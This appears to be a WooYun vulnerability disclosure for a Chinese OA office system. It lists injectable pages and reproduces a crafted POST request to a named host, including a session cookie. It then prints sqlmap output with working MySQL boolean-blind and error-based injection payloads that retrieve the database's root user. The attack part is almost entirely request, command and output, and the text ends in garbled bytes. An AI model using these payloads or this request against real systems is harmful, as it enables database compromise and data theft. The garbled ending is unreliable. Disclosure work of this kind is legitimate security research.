WooYun.org

漏洞页面（56个）：
/general/diary/info/comment_submit.php
/general/diary/read.php
/general/diary/search.php
/general/email/inbox/index.php
/general/email/inbox/read_email/control.php
/general/email/inbox/read_email/read_status.php
/general/email/outbox/index.php
/general/email/query/search.php
/general/email/sentbox/delete.php
/general/email/sentbox/index.php. 
/general/file_folder/folder.php
/general/file_folder/sign.php. 
/general/ipanel/user/search.php. 
/general/mytable/intel_view/email.php. 
/general/mytable/intel_view/news.php
/general/mytable/intel_view/calendar.php.
/general/news/show/relay_submit.php
/general/news/show/re_news.php.
/general/news/show/re_update.php. 
/general/notify/show/notify.php. 
/general/notify/show/sign_ok.php.
/general/sms/remind_center/send/index.php
/general/workflow/list/input_form/
/general/work_plan/show/add_diary.php. 
/general/work_plan/show/work_plan.php

POST /general/email/sentbox/delete.php HTTP/1.1
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Referer: http://oa.sohuu.com:81/
Cookie: PHPSESSID=a1c6a24389d8457314e9e32183ac0ad0; OA_USER_ID=wy; SID_3=694cde2e; UI_COOKIE=0
Host: oa.sohuu.com:81
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
DELETE_STR=1*&PAGE_START=0

[root@Hacker~]# Sqlmap -r "C:\Users\1\AppData\q.txt" --current-user
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 08:52:45
[08:52:45] [INFO] parsing HTTP request from 'C:\Users\1\AppData\q.txt'
custom injection marking character ('*') found in option '--data'. Do you want t
o process it? [Y/n/q]
[08:52:47] [INFO] resuming back-end DBMS 'mysql'
[08:52:47] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://oa.sohuu.com:81/general/email/sentbox/index
.php'. Do you want to follow? [Y/n] n
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: (custom) POST
Parameter: #1*
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
    Payload: DELETE_STR=1 RLIKE IF(8947=8947,0x44454c4554455f5354523d312a2650414
7455f53544152543d30,0x28)&PAGE_START=0
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: DELETE_STR=1 AND (SELECT 6745 FROM(SELECT COUNT(*),CONCAT(0x717a656
271,(SELECT (CASE WHEN (6745=6745) THEN 1 ELSE 0 END)),0x716a627971,FLOOR(RAND(0
)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&PAGE_START=0
---
[08:52:54] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[08:52:54] [INFO] fetching current user
[08:52:54] [INFO] retrieved: root@127.0.0.1
current user:    'root@127.0.0.1'
[08:52:54] [INFO] fetched data logged to text files under 'C:\Users\1\Desktop\SQ
LMAP~1.4\SQLMAP~1.4\Bin\output\oa.sohuu.com'
[*] shutting down at 08:52:54
[root@Hacker~]# Sqlmap��                                                        ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������